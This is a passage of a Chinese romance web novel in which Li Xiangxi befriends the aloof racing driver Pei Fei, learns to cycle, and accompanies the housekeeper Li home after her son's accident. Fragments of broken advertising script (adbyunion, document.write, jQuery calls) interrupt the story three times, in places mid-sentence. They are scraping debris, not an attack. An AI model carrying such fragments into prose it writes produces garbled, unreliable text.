尽管此时,裴非只是给她留了一个冷漠的侧脸,但黎向浠觉得,他们的关系在慢慢变近,他不但主动和她讲话,还会主动示好了。 “好呀!好久之前就想要你的微信,这样以后联系方便,就是不敢,我还担心你不给呢。”她手忙脚乱安顿好一堆花和盆栽,这才腾出手。 裴非深深咬紧后槽牙,这是他第一次主动要别人的微信,只是因为觉得与她同病相怜。 他的手臂因为要握紧方向盘,所以经过许多针对性训练,力量很强,但此时,他觉得手机好重,跟个千斤顶一样,恨不得扔出去。 黎向浠拿出手机,按了两下,屏幕毫无反应。 难怪刚刚它自己黑屏了。 她尴尬咬了咬下嘴唇,把手机展示给裴非看,“它没电……” 话没说完,裴非迅速将自己的手机放回口袋,当做什么也没发生,面无表情推门进去,走进去两米的时候,他才想起来怎么咽口水。 黎向浠赶紧抱着虎皮兰和向日葵,凑到他旁边,探脑袋问:“我以后可以在门口放一把备用钥匙吗?放在我买回来的虎皮兰底下。” 说着她还往裴非跟前伸了伸虎皮兰,要他看一看。 “这边会有会有贼吗?会不会进来偷东西啊?虽然这个方法能解决以后没带钥匙的问题。还有还有,我手机充电的话,等下还可以加你的微信吗?” 裴非停下脚步听她讲完,简单回答:“可以,不会,不会。” 对最后一个问题,裴非拉长了回答时间,却简单地“嗯”了一下。 黎向浠努力对着答案,露出开心的笑容。 裴非要抬腿上楼梯,黎向浠又想到新问题了,“你吃过饭了吗?待会儿还要出去吗?” 她问的时候,眼睛里有期待,话落时,肚子又叫了一声。 裴非收回腿,喉结滚了一番。 别墅区很大,住的人却很少,尤其到了晚上,和荒郊野岭的区别,仅仅在于,这里有路灯。 尽管他对她有些同情,但到底她以后会是沈推凡的妻子,孤男寡女住在这没人看见的地方,不合适。 “我拿个东西就走。”裴非说完,直径上楼。 黎向浠眼神暗下去,她没住过那么大的房子,走起路来都有回音,她以前很爱看恐怖小说,但来到这里后总是不能静下心来看,空荡荡的,没办法集中精力。 二楼房门关上的声音传来,黎向浠不再抱有希望,她先给手机插上电,又走去厨房,煮泡面吃。 她下了两包,裴非也在,她习惯性地,有几个人就煮几份。 泡面煮好,黎向浠端到客厅的茶几上,一直没听见下楼梯的声音,黎向浠确认裴非还没走。 她没有先吃,而是转去把花瓶装水,插上向日葵,摆到茶几中央,金黄色艳丽的花瓣,让沉闷的客厅多了一丝活力。 这时,裴非插兜从楼梯下来,像是要走。 黎向浠赶紧拿了手机小跑过去,“我充好电了!” 她说话的声音永远会拔高一个调子,和她跟沈推凡说话的那晚完全不一样,裴非今晚才发现这件事,因为之前他没有注意过。 裴非拿出手机,点开二维码。 黎向浠扫完之后,认认真真打下自己的名字,“我的浠是三点水的浠哦,好多人都会弄错。” “嗯。”裴非余光掠了她一眼,她埋头给他备注,因为笑容,脸颊为数不多的肉拢起两个可爱的章鱼烧。 “你的名字真好听。”备注完毕,黎向浠抬眼说。 裴非迅速错开视线,将手机放入口袋,鼻腔一个淡漠的轻哼。 “我说真的,意义非凡的非,你妈妈一定很喜欢你。”黎向浠朝他笑盈盈。 裴非烦躁地扫了她一眼,压低帽子往前走。 黎向浠“哎”了一声,拽住他手臂。 裴非像是被刺扎到一样,迅速甩手和她拉开距离,攥着拳头。 在暗沉的灯光里,裴非脸色冰得可怕,像是一只发怒的白狮子,瞳孔高度警惕追踪着某个敌人。 黎向浠吓得连连后退,她举起手示意自己不是故意的,又指了指桌子,内疚说:“对不起……我只是想问,你会愿意吃这个吗?” 裴非看过去,桌子上,两碗还在冒着热气的泡面,里面加了溏心蛋,旁边还有一碟小菜,筷子摆得整整齐齐,在暗红色家具环绕的空间里,有一种温馨小家吃饭的感觉。 他颔首,像是狮子收起獠牙,却转身往门口走。他想,还是不要走太近的好。 “这个很好吃的,小菜是我们山城那边的特色,我自己带过来的,我妈妈做的,我妈妈厨艺很好,你可以试试。”黎向浠小碎步跟上去,明亮的嗓音带着毫不掩饰的期待,极力推荐着。 裴非:…… '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >- 老宅客厅很大,天花板很高,灯光从吊灯照下来,抵达地面时,变得柔和许多,加上家具颜色,一股复古年代感,让人看得亲切。 沙发前,两个人坐在毯子上,中间空了一个位置,相隔遥远。桌上,两碗泡面飘着浓稠的香味,充斥整个客厅,掩盖了老宅旧木头的味道。 黎向浠给裴非夹了一块小菜,放到他碗里,眉眼弯弯,“你试试,如果不喜欢这个口味的泡面,我下次换别的。” 裴非犹豫了一下,拿起筷子。 黎向浠也跟着拿起筷子,把碗挪得和裴非近了些,看裴非吃下第一口后,她凑上去,满眼期待问:“好不好吃?” 裴非其实是拧眉的,他第一次吃这些东西。 但他同时也点头了,黎向浠的声音总是这样,让人觉得,否认的话,会是一种罪过。 “我就说好吃吧!”黎向浠喜笑颜开,“其实火锅更好吃,你肯定没有吃过吧?我们山城火锅最好吃,下次你去山城我带你去吃,其实那种不起眼的老店才是最正宗的……” 黎向浠并没有吃,坐在一旁侃侃而谈,喋喋不休。 她想争取一切时间和别人聊天。 裴非两口已经吃了大半,黎向浠还没有停嘴的意思,小嘴像是麻雀,叽叽喳喳。 不知不觉,碗里的面见底,裴非筷子夹面的量慢慢减少了,从一大口,到一小口,再到一根一根地夹。 吃了半个小时,黎向浠问东问西,裴非总是三两个字回答了。 黎向浠的手机是落在裴非那边的桌角,她全程没看信息,第二次消息震动的时候,裴非吃完了溏心蛋,碗空了,她才让裴非拿过来。 是许子炀发来的,第一条:【小美女你好。】 第二条:【你会喝酒吗?】 黎向浠看向要离开的裴非问:“你朋友给我发的消息,我可以跟他出去玩吗?他看上去很有趣,我只是觉得无聊而已。” 至少,许子炀话也挺多的,那样她就可以少说一点。 裴非欲言又止,最后只是点头。 黎向浠喜笑颜开。 裴非叮嘱一句:“我们的关系,不要跟任何人说。”便离开了。 老宅又安静下来,黎向浠嘴角放平,开始吃自己那碗坨了的泡面,顺手回复许子炀的信息。 【你好,我不会喝酒。】 对面没有回答,黎向浠点开裴非的微信。 头像是海边一条宽敞蜿蜒的,没有尽头的柏油路,看得人油然生出孤寂的感觉。 裴非的朋友圈干干净净,连背景照片都没有设置。 黎向浠甚至以为自己被屏蔽了。 - 另一边,夜里一点,训练基地的灯早已暗下去,基地宿舍却亮堂堂。 许子炀坐在电竞椅上,抱着手,眼神打量另一边双眼紧闭、毫无表情的裴非。 许子炀凑上去,吸了吸鼻子,“你身上为什么会有这么浓的味道?” 裴非将他推走,压下帽子盖住整张脸,厌烦说:“你是狗吗?” 许子炀不依不饶凑近,“别逃避,你什么时候会吃泡面?而且,你不是刚吃完回去的吗?怎么又吃了一顿出来了?不是回老宅住了吗?你刚刚去哪里了?” 一连串不要命的问句轰炸。 帽子底下,裴非的后槽牙都快咬碎了。 家里一个话多的,外面还有一个话多的,他觉得自己的耳朵快要爆炸了。 “滚。” 许子炀嘴巴抿成一条线,“OK,这个问题放一放,下一个问题,刚刚我跟黎向浠确认了,她确实不会喝酒。” 许子炀挑眉,隔着帽子审判裴非,“你,到底是怎么知道她不会喝酒的?” 帽子底下,薄长的眼睛睁开,隔着黑暗,五味杂陈。 - 10. 烦死他 第二天早上,太阳刚刚光顾老宅院子,黎向浠正哼着歌给院子里的花浇水。 院子门口站了一个中年妇女,头发枯燥,抬头纹很深,她抓着自己洗到褪色的帆布袋,往里面好奇探头。 黎向浠见状,扔了水管就小跑过去,礼貌问:“您好,请问您找谁?” 中年女人立刻扬起颧骨,带着山城口音问候,“黎小姐是吗?我是裴先生找过来的住家阿姨。” “啊?” 李阿姨和黎向浠说了前因后果,进了老宅,尽管地板厨房楼梯这些,黎向浠之前已经打扫过了,她偏偏还要打扫一遍,黎向浠要去院子浇花,打理草坪,李阿姨又抢着干,一分钟都没闲下来。 黎向浠没事干了,便百无聊赖坐在沙发上,拿出手机,点开微信。 赛车培训基地内,体能训练室,裴非一身黑色无袖运动服,戴着耳机踩在动感单车上,头发蓬松自然,随着身体晃动,多了几分朝气,鸭舌帽挂在一边的把手上。 架在眼底的手机震动,微信语音通话,来电显示:黎向浠。 当做没看见,裴非加快了踩踏的节奏。 振动结束,没过几秒,微信消息发来:【早上好裴非!你醒了吗?醒了的话给我回个语音噢。】 一分钟后:【你还没有醒吗?要起来吃早餐了!】 两分钟后:【太阳晒屁股啦!黎蔓说早上不起来吃早餐,长不高!】 每句话都像是自带语气。 裴非:…… 他将耳机音乐声开大,试图过滤脑子里的动静。 一首歌结束,消息没再弹出来。原以为世界安静了,第二次语音电话却来了。 顺着动感单车的铁架,震感传到他身上,挠着他肌肉。 裴非叹了口气摘下耳机,放缓脚步。 “早上好裴非!你醒了吗?”黎向浠聒噪的声音近乎冲出屏幕,热情似火,在冰冷铁甲的训练室,独自开朗着。 裴非睫毛轻颤,“嗯。” 他“嗯”的时候,夹杂着疲惫和运动时的兴奋,勾起了黎向浠脑子里,他们初见时,一些奇怪的声音,堵塞了她的喉咙。 “你……在……”她顿住,欲言又止,“我要不……晚一点……” 裴非立刻停下动作,咳嗽一声,语气冰冷回:“是锻炼,说。” “噢噢。”黎向浠松了一口气,又提起音调,“那个李阿姨是你找来的吗?” “嗯。” “可是我不需要呀,我自己也可以做家务的。而且,就算你回来住,我做饭的话,也会把你那份一起做了,你有想吃的可以告诉我……” “你应该还要住一段时间。” 裴非想,如果沈推凡把她藏在这里,是因为介意那件事,那短时间内,沈推凡应该不会公布黎向浠的身份。 “好吧。”黎向浠不再推脱,毕竟再问下去又是关于沈推凡的事,她不确定裴非会不会生气。 “你晚上会回来这边吗?不回来你要去哪里住?你有地方住吗?其实你回来没关系的,不用担心,我不会说出去,我答应过你的。哦对了,因为李阿姨是山城人,你才让她过来的吗?你真贴心。” 裴非揉了揉鼻梁,分不出是自己不想说话,还是插不上话。 “阿姨刚刚和我说,她也是山城人,我要跟她说了几句山城方言,特别亲切,我来京北这么多天……” 嘟- 黎向浠没说完,通话无情中断,笑容戛然而止。 她兴致缺缺朝手机撇嘴,“嫌弃我啰嗦打断不就好了,这样挂电话,怪难受的。” 她捂着胸口不开心一秒,扭头到院子找李阿姨聊天去了。 - 训练室内,许子炀刚打开门,听到有动静,裴非又迅速对手机折腾什么。 许子炀眼神疑惑看向手机,“你刚刚……在打微信语音?” “闹钟。”裴非将手机熄屏。 许子炀“嗐”了一声走进去,“我还以为太阳从西边出来了,微信消息都懒得回的人,居然一大早在这儿接别人的语音电话。” 裴非余光掠了他一眼,埋头加速。 许子炀坐到他另一边的动感单车,“对了,我昨晚给你发的消息为什么不回,你手机当摆设用的吗?今晚的湖边……” 许子炀话到一半,门外传来两声打闹的动静。 杨余瑞一边开门,一边喋喋不休给向馨欣介绍基地的设施,“这里是我们队员平时体能训练的场所。” 两个人都是运动服,一副锻炼的模样。 裴非迅速拿起鸭舌帽戴上,将脑袋埋低,继续锻炼。 “你们俩在啊?”杨余瑞搂着向馨欣,眼神有些意外,“平时这个点没人的,不过他们也不是外人……” “什么外人,我是你老板。”许子炀停下动作,下意识挡住向馨欣看向裴非的目光,朝杨余瑞抱怨,“不是,你能不能挑个好点的场所约会?” “你平时又不会这么早来,裴非以前基本也不在这儿练,我哪知道你们今天过来,馨欣说想参观参观,我就带她来。”杨余瑞不当回事。 向馨欣往裴非那边瞥一眼,先是眼底一阵开心,又换上尴尬的笑容,“要不我今天先走吧?你的朋友好像不是很欢迎我。” “哎呀他就这样,你当他不存在就行,没事。”杨余瑞将向馨欣拉到后面的跑步机旁,“等着,我去给你拿两瓶饮料。” 杨余瑞拐往许子炀方向,小声道:“你别给我乱说话,好不容易约来的。”往茶水间走。 许子炀朝他背影切了一声。 训练室安静下来,只剩裴非锻炼的机械音。 许子炀扫向后方的向馨欣,凑到裴非身边,“应该没事,她一个小姑娘……” “你好,你叫裴非吧?” 话没说完,向馨欣已经站在裴非旁边了。 许子炀:…… 裴非压了压帽沿,没有回答。 “我叫向馨欣,上次我们见过的,我还是子炀哥的朋友,加个好友?”向馨欣将手机伸出去。 裴非神色淡漠停下运动,拿过手机。 向馨欣勾起嘴角,点开微信,“你扫我还是我扫……” 话没说完,裴非从另一边下去,直径走往门口,像是没听见也没看见那样,眼神烦躁。 到现在为止,向馨欣甚至都没见过他完整的正面。 向馨欣眉间隆起,指着裴非后背喊:“喂?你是故意无视我啊?!” “馨欣啊,”许子炀赶紧把她拽下来,“裴非就这脾气,不搭理人,别生气。杨余瑞该回来了,让他哄你,你跟他玩儿多好啊。” 这时,裴非刚走到门后面,门就被人从外面打开。 杨余瑞和裴非面对面,问:“怎么我刚来你就要走啊?” 裴非凉凉看了他一眼。 杨余瑞噗呲一声,将饮料递过去,“行吧,感谢。” 他以为裴非是故意给他制造二人世界的。 裴非接过,用瓶口指了指门上的“闲人免进”四个字,面无表情推开杨余瑞出门。 “哪里有闲人了?”杨余瑞揉着肩膀朝他小声反驳。 回头看见许子炀拉着向馨欣手腕,杨余瑞一瓶饮料扔过去,一副被人抢了蛋糕的模样说:“你干嘛呢?” 许子炀松开向馨欣,接过饮料,欲言又止走向杨余瑞,最后只是拍了拍他肩膀,惋惜说:“兄弟,机灵点,下次想喝酒可以找我。” 被甩了,记得请客。 许子炀努力暗示了。 却换回杨余瑞白眼的一句:“神经病。” - 老宅,黎向浠和李阿姨一起布置好李阿姨的房间,两个人又一起商量午饭吃什么。 黎向浠和李阿姨打商量,以后做饭的事情,她们一人负责一天,轮流来。 “黎小姐,这怎么能行?我就是来给您做饭打扫的,裴先生知道了,我工作就不保了!”李阿姨连连拒绝。 黎向浠拉着她胳膊,“不会的,你陪我聊天就好了,要是裴非问起来,我跟他解释。” 一来二去,黎向浠坚持要公平分配,李阿姨拗不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过,就点头答应,“难怪裴先生这么喜欢您,我们山城姑娘就是好啊。” “不是不是李阿姨,”黎向浠吓坏了,“我跟裴非不是那个关系,真不是。” 李阿姨做惯了这个行业,知道有些话不能明说,只是绕有意思地捂嘴笑,“好,不是就不是。” 想来会越描越黑,黎向浠打着哈哈跳过这个话题。 后来的几天,黎向浠拉着李阿姨给她说山城的故事,说山城老一辈人的生活模式,山城哪里开发了,哪里搬迁了,哪里又有什么传奇故事了。 她听得津津有味,李阿姨还给她说,家里的儿媳妇要生了,临产期就这两天。 “你不回山城吗?”黎向浠问。 李阿姨摇头,眼里噙泪,抬头纹深了几分,“我儿子在呢,他在山城工地上,等儿媳妇生了,他就回去照顾,我在这边的工资比他还高呢,我寄钱回去。” 古木家具配上李阿姨被岁月雕琢的脸,和长满茧子的手,似乎让黎向浠看到了他们那一辈的模样,吃得了苦,熬得了累,为了小孩,总是咬咬牙就这么过下去了。 就像黎蔓那样。 黎向浠记忆里,黎蔓身材很苗条,有时候放学没人照顾,黎向浠就去超市找黎蔓,她看到好几次,黎蔓一个人扛着好大一个箱子,晚上回去黎蔓就对着镜子给肩膀涂药,那里,有的地方皮厚厚的,皮薄的地方就红红的。 “阿姨,要不这样,到时候我给您放几天假,您回去看看小孩,不扣您钱的。”黎向浠拉着她说。 “不用,家里都是用钱的地方,我可不能乱跑。”李阿姨笑嘻嘻,起身收拾只扔了几张纸的垃圾桶。 李阿姨将房子里好几个垃圾桶合起来,一有垃圾她就收拾,装在一个袋子里。即不浪费垃圾袋,又保证房子干干净净的,小心翼翼,但一点不含糊。 黎向浠也没好再说什么,她走去书房,整理她的录音设备。 她以前靠录制有声书赚了不少零花钱,她习惯录制恐怖小说,学着黎蔓给她讲故事的调调,愣是做了好久,前段时间没心思,现在李阿姨过来,她没事干,又重操旧业。 - 这天,午饭过后,黎向浠无聊,便去院子散步,院子里种了好几棵绿化树,年代久了,枝繁叶茂,林荫很多,在底下乘凉很是惬意。 黎向浠绕到后院,看见车库里有一辆山地自行车,蓝白色,久不用落了灰。 她拿出来冲洗,没一会儿,自行车便像是新买的一样。 她拍了一张照片,发给裴非。 又发了一段语音:“裴非裴非!中午好!这个是你的自行车吗?好漂亮,跟新的一样,可以借给我学一下吗?我都还不会骑车呢。” 过了好久裴非才回:【嗯】 “好!我不会弄坏的,放心!” 裴非没再回答。 李阿姨在午睡,黎向浠不敢一个人去路上玩,就绕着院子骑。 山地车很高,黎向浠坐在上面够不着地,她平衡感也不是很好,上去没蹬两下就摔了个四仰八叉,胳膊划在水泥地上,擦出一片密密的红血丝,还往外渗水。 黎向浠没觉得疼,只是像蚂蚁咬了一口,拍拍屁股起来继续学。她蹬得满头大汗,摔了好几次,总算能颤颤巍巍环着院子骑一圈了。 晚上,轮到黎向浠做饭了。 李阿姨见她手臂有伤,要抢着做,黎向浠只是把她推出厨房,“这点伤不算什么,你去沙发等我,马上就能吃饭了。” 李阿姨没办法,只好坐在客厅,恰好,儿子打来视频电话,她接听起来。 那边刚生完小孩,说是母女平安,让奶奶看看。 李阿姨乐呵呵跟他们聊天,给儿子叮嘱女人坐月子要吃的东西。 裴非本来不打算回老宅,毕竟有人陪黎向浠聊天,他再回来不方便,只是许子炀要借用他另一辆车,他打算回去拿一下钥匙就走。 结果,一进门就看到请的阿姨在沙发上笑呵呵玩手机,黎向浠端着盘子从厨房出来,满头大汗,胳膊还青一块紫一块。 - 11. 影响他 客厅的灯光映在红木家具上,气氛沉沉,裴非站在进门处,冷白皮让他看上去像是入侵者那样,没有温度。 他瞳孔颜色太黑,不苟言笑时,有一种风暴欲来之前的压迫。 李阿姨慌乱起身,手机砸到桌子一角,掉到地板上,咚咚两声。 顾不上去捡,李阿姨低着头问候:“裴先生。” 裴非“嗯”了一声。 传来黎向浠的声音:“菜好喽!” 裴非眼神延长过去。 黎向浠端着一盘颜色鲜艳的辣子鸡,嘴角上扬,迫不及待地要吃上一口。 看见裴非,她立刻颧骨升天,“裴非!你回来啦?” 她放好菜,擦着手走到他跟前,“真巧!你吃过了吗?跟我们一起吃吧?尝尝我的手艺!” 睫毛轻阖,忽闪忽闪。 裴非挪走眼,掠过她手臂。 纤细手腕上,左右两边都有伤口,涂了消毒水,红一片黄一片的。 他拧眉。 黎向浠顺眼往下去,“这个啊!” 她将手臂举到他眼前,“这个是我下午骑车摔的。” 裴非身子往后撤了撤,转走眼神。 想到上次自己不小心碰了他,他应激的反应,黎向浠嘿嘿一声后退。 “后来李阿姨帮我扶着,就没有再摔了,我已经能一个人绕院子骑好多圈了呢。”黎向浠语气炫耀。 “嗯。”裴非淡淡回,当做是知道了。 眼神无意扫过她腰间的围裙。 李阿姨看见了,以为他生气,立刻解释:“裴先生,是黎小姐自己要做菜的。” “对啊,我跟李阿姨说好的,我们一人负责一天的家务,今天刚好到我。”黎向浠点头如捣蒜。 “对了!李阿姨刚刚跟她家里人视频呢,她的小孙女出生了,特别可爱!” 裴非轻轻挑眉,冷冷说:“恭喜。” 错开她上楼梯。 “你要跟我们一起吃吗?我做的,很好吃的。”黎向浠追上去喊。 “吃过了。”裴非脚步不停。 “那你今晚还出去吗?” “嗯。” 嘭- 与世隔绝的门又关上了,裴非速度太快,这会儿他门口的感应灯才亮起来,把他门上冷冰冰的拒绝照得清清楚楚。 黎向浠站在楼梯处,耸耸肩,转头,李阿姨还站在原来的位置,脑袋恨不得埋进地里。 想来是裴非性子太冷,刚刚又没说几句话,李阿姨误会他生气了,黎向浠走下去安慰说:“没事的阿姨,裴非一直都是这样,不是怪罪你。” “手机怎么摔坏了?”黎向浠弯腰捡起。 手机是普通牌子,好几年前的款式,套着泛黄的塑料保护壳,屏幕有一条裂痕,连接了上下两端,不影响使用,但像一条大裂谷,看得挠心。 李阿姨接回去,擦了擦放进口袋,像个做错事的小孩,扣着手上的茧子,小心翼翼说:“没事,还能用就行。” 裴非刚进门时,确实误会了李阿姨的行为,所以眼神锋利,李阿姨老实本分习惯了,那一下,确实吓坏了。 “真的没事李阿姨,刚刚裴非还跟你说恭喜了呢,他没有生气,他本来讲话就这样。”黎向浠握着她的手。 “我知道的,黎小姐。”李阿姨心情并没有好。 整个晚餐时间,李阿姨没说几句话,也没夹几个菜,还是黎向浠硬要给她夹才吃的。 结束后,黎向浠要收拾,李阿姨又抢过围裙,说之前商量的不作数了,这些活她自己来就行。 估计是李阿姨担心工作丢了,小孙女的奶粉钱就没有了。 黎向浠还想劝,但李阿姨眼圈红了,她只能作罢。 黎向浠换着语气哄她,说明天要她起来做早餐,给她布置任务,李阿姨的脸色才松下来。 客厅很大,餐厅也很大,李阿姨拿着拖把抹布前前后后地忙碌,黎向浠就坐在楼梯处,看得心揪,这样的场景,总是让她想到黎蔓。 她在想,如果黎蔓回来,她不在黎蔓身边,黎蔓是不是也得一个人孤零零做这些。 黎向浠眨巴眼,将泪水逼回去,她钻进书房,录制有声书,让自己忙起来。 - 裴非回到房间,摘掉鸭舌帽,他揉着碎发走去阳台,黑夜里,硬朗的五官变得模糊,褪去不少攻击力,风吹,碎发扬起,露出好看的额头,清清爽爽。 二楼的阳台是联通的,在外围一整圈都是。 裴非双手搭在扶栏上,往下望。 院子的花圃栽了一片玛格丽特和蓝雪花,草地洗得干干净净,灯亮了,像是个小花园,还能隐约闻见空气的花香味。 跟八月份的院子比,像是起死回生那样,生机盎然。 果然还是得有人住,才能热闹一些。 裴非眼底五味杂陈,他走到书房的窗子处,那里的阳台摆了桌椅茶几,阳台宽敞,很适合放空独处。 以前,他也是在这里听故事的,每次睡不着,他就习惯来这里发呆。 裴非坐到椅子上,指腹夹出一支烟。 阳台没开灯,月光斑驳,衬得裴非神色晦暗。 他拍了拍口袋,拿出打火机,火光刚亮起,后方书房传来一个女音。 咬字清晰,语气抑扬顿挫,变换多样,裴非眉头皱了皱,关上打火机认真听起来。 是黎向浠的声音。 她在讲故事,一段恐怖民谣。 一开始是悠扬拉长的语调,神神秘秘,转折时候又突然加重,让人猝不及防。对话的时候,可以随意转换老奶奶和小女孩的声音,还能做出浑厚的男人声线,每一个角色都有自己的特色。 很专业,在黑夜里,轻而易举让人有身临其境的感觉。 裴非扯下烟收入盒子里,靠在椅子上。 他已经很久很久没有听过恐怖故事了,上次听,还是他六七岁时候。而现在,从黎向浠嘴里说出的故事,他像是看到了一场用声音搭建的电影,每一个画面都那样生动形象。 晚风抚过,院子的树叶唰唰作响,伴着淡淡的花香,裴非身体慢慢放松下来。 须臾。 椅子上,男人褪去白日里的警惕,慢慢阖下眼皮。 星星一闪一闪,院子里的小动物时不时鸣叫,男人呼吸浅浅,给黑夜留了一个白皙流畅的侧脸。 …… 闹钟响起,裴非再睁眼时,已经有温和的阳光洒下,淡淡的金色像是柔软的丝绸,尽管如此,对清晨初醒的眼睛还是些许刺激。 裴非皱了皱眼皮,沉稳的五官带上一丝慵懒。 院子已经变得亮堂堂,空气混着晨露的湿润,风清清凉凉地吹着他额前的碎发,一夜沉睡,院内的植物又焕发新的活力。 裴非觉得自己肩膀轻了很多,一整晚,他没有惊醒,没有做梦,就是简单的睡觉,睡得很沉。 他已经很久没有,完完整整睡过一次觉了。 适应了太阳光线之后,裴非颔首,嘴角漾出一抹若隐若现的笑意。 他抻了抻手起身,侧目看向书房。房门紧闭,光线只能从窗户进去,角落照不亮,氛围有些沉,倒是适合讲恐怖故事。 录音的设备整整齐齐摆在桌子上,旁边还有翻开的两本书,讲故事的女生早已不见踪影。 手机震动,裴非点开,是许子炀的信息:【我昨晚又喝大了,你能不能来接我?】 裴非回:【嗯】 许子炀:【我去?!我真喝大了?你居然会秒回信息?】 裴非:…… 指尖一顿,裴非选择关上手机,不再理会许子炀。 花香原本浓厚,传到阳台,还剩淡 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 淡的气味,浓度适中,裴非迎着它们走回房间,准备出门去接许子炀。 准备出房间时,听见外面的脚步声,他又停下来了。 黎向浠一身利落的运动装,活力满满从房间出来,闪烁的大眼没有任何早起的疲惫,她一边绑着低马尾,一边下楼梯。 “李阿姨早上好!我的早餐弄好了吗?” 和昨晚的缓慢、抑扬顿挫、带有神秘氛围的语气不同,这句话,她说得轻轻松松,甜味满满,让人听了心情大好。 裴非坐回椅子上,转动起蝴蝶刀。 “弄好了,来吃吧。”李阿姨笑着回应。 黎向浠走到餐桌,疑惑问:“咦?怎么是三份?” 李阿姨:“我看院子里的车没有走,裴先生昨晚应该住在老宅的,就给他也弄了一份。” 黎向浠透过窗口往外看,黑色布加迪车身盖了薄薄的水雾,一缕朝阳照在上面,让它看上去没那么冰冷了。 她往二楼看了一眼,压低声音说:“那我们小点声吧,他估计还在睡觉,别打扰到他了。” “哎,好。”李阿姨回。 房间里,裴非听到那句话,嘴角浮起一丝笑意,只是刹那,又迅速消失得荡然无存,蝴蝶刀像是有心事,转动速度加快。 没一会儿,手机微信响起。 黎向浠:【早上好裴非!你醒了吗?我跟李阿姨出去了,李阿姨给你弄了早餐在桌子上,记得一定要吃完噢,不然她会伤心的。因为你昨晚凶巴巴的,她有点不开心,我带她出去逛逛。】 还有一张委屈小猫的表情包。 裴非单手发出去:【嗯。】 又有一条新消息:【多笑一笑不好吗?你笑起来最好看了!】 只是这条消息刚露头又被撤回去了,裴非都没来得及拧眉。 尽管如此,他还是看见了它。 裴非鼻腔出气,抬眼望向墙边的全身镜,镜子里,冷白的皮肤,不苟言笑的脸,没什么感情的漆瞳,以及手臂上常年锻炼的青筋。裴非觉得,怎么看,都不像是笑起来会好看的那种类型。 他试图扯了扯嘴角,又反应过来,为什么要按照她说的做? 要收回眼神的时候,裴非的余光落到架子里的骑行头盔上。 黎向浠的消息又过来了:【你昨晚吓得李阿姨的手机都摔坏了。】 裴非沉一口气,扔出蝴蝶刀,刺在沈推凡脸上,打下一行字:【给她买一个新的,我付钱。】 - 上午,黎向浠拉着李阿姨去手机店,一开始李阿姨不肯,黎向浠给她看了裴非的信息,李阿姨才点头,说要买最便宜的那个就好。 黎向浠直奔最新款,还给李阿姨买配套的手机壳。 回到老宅已经临近正午,布加迪和餐桌的早餐一起不见踪影,黎向浠给李阿姨使眼色。 “看,我就说裴非不凶吧?他都吃完了。” 李阿姨点点头,终于笑出来了。 黎向浠帮李阿姨把手机信息同步,就让李阿姨自己折腾了,她继续去学自行车。 今天的太阳依旧很大,黎向浠却不觉得烦闷,京北的九月底已经有了初秋的意思,早晚气温适中,正午太阳没有夏日那么刺激。 她走到车库,发现把手上挂了一个透明袋子,里面装有护膝护腕,蓝色的骑行头盔,最底端还有一瓶跌打药和棉签。 黎向浠骑车绕到老宅窗口,探头问:“李阿姨,车上的东西是你留的吗?” 李阿姨从手机里抬眼,眼睛眯着回:“不是,我没有动过自行车。” “那是谁?”黎向浠对着袋子挠头。 她将护具拿出来,好像是新的,干干净净的,没有香水味。 对了!没有香水味! 黎向浠咧开嘴角,笑眼弯弯拿出手机,拨通裴非语音。 - 12. 哄睡他 黎向浠并没有打通裴非的语音,总共两次,每次都是响铃一会儿,就被挂断了。 然后就收到裴非的一个字:【忙。】 想来是他还在工作,黎向浠回:【好,那我晚上再给你打,你记得接噢!或者你晚上回来?我当面给你说!】 这一条,同样也没有收到回复。 基地并没有工作,休息室内,裴非手机响了好几下,他只是随手挂断,船过水无痕,面无表情。 因为旁边是打游戏的许子炀。 每响一下,许子炀就跟早上去学校时,在马路对面听到上课铃声一样,警觉又提心吊胆,他用余光看过去。 裴非将手机屏幕往自己这边扣。 响多了,许子炀索性往裴非手机前探头,裴非若无其事熄屏,扔到床上。 手机最后嗡了一声,再无动静。 许子炀挠头,“谁给你打语音?胆子那么大?还打了两次,又发那么多信息,要不你接一下?万一有急事呢。” 裴非冷着声:“没。” 许子炀凑近裴非,“哎?我发现你今天看上去,好像更精神一些了,尤其眼神,炯炯有神的。” 裴非睨过去,眉头拧起。 许子炀肯定说:“还真是,以前这个时候,你只会有杀了我的念头,今天怎么感觉……哎你干嘛?” 许子炀还没说完,就被裴非拎着胳膊扔出休息室。 黎向浠没有收到裴非的回答,她想等晚上直接打过去,亲口说一句谢谢。 院子里,太阳底下,自行车快速飞过,耳边吹起舒适的风,空气清清爽爽,黎向浠的发梢扬起,脸颊带笑。 她试着放开手,像电视剧里那样慢慢骑,结果刚松开一只手,身体保持不住平衡,连车带人摔倒,脑袋磕在水泥地。摔得耳朵嗡嗡响,但有了护具,一点没受伤。 她坐在地上开心敲了敲头盔,又拍了拍护膝,傻笑。 李阿姨跑出来找她,黎向浠起身挥手,要和她炫耀刚刚的那一跤一点也不疼。 却看见李阿姨眼圈红红,脚步匆忙。 询问了才知道,李阿姨儿子出了车祸,医院那边来电话,也没有说伤得怎么样。儿媳那边,亲戚帮忙瞒着,怕如果很严重的话,她情绪不好,又刚生了小孩,伤身体。 “没事李阿姨,您现在回去,坐飞机比较快,我替您买机票。”黎向浠安慰着,想帮忙解决。 李阿姨摇头,“我不会坐飞机。” 黎向浠犯难,如果现在让她坐高铁,一是时间来不及,儿媳那边也得有人照顾,二是万一路上听到坏消息,她一个人怎么应对。 “这样,我跟您一起回去,反正我也好久没回山城了。”她当机立断订了两张机票。 好在是工作日,机票仍有富余,两个座位马上就下来了。 飞机犹如大鹏展翅,划过万里晴空,落地山城,碰巧是落日余晖时的美景。 行人匆匆,来不及欣赏一眼故乡,黎向浠紧忙陪着李阿姨打车去了医院。 医院里消毒水味道很重,急诊病人大都表情狰狞,家属更是眉头不展,走廊鬼哭狼嚎,动静很大,气压低迷。 李阿姨站在窗口,往里面探头,眼神恨不得穿透进去。灯光从里面照出来,李阿姨两鬓白了许多,鱼尾纹又长又深,蔓延到发际线处,长满茧子的手互相攥着,像是在彼此安慰。 黎向浠看得揪心,她走过去,抓着她,当做安慰。 医生出来,说李阿姨儿子伤得不重,就是腿折了,需要静养,干活照顾人之类的活估计是做不了了。 听到没什么大碍,李阿姨脸色缓和下来。 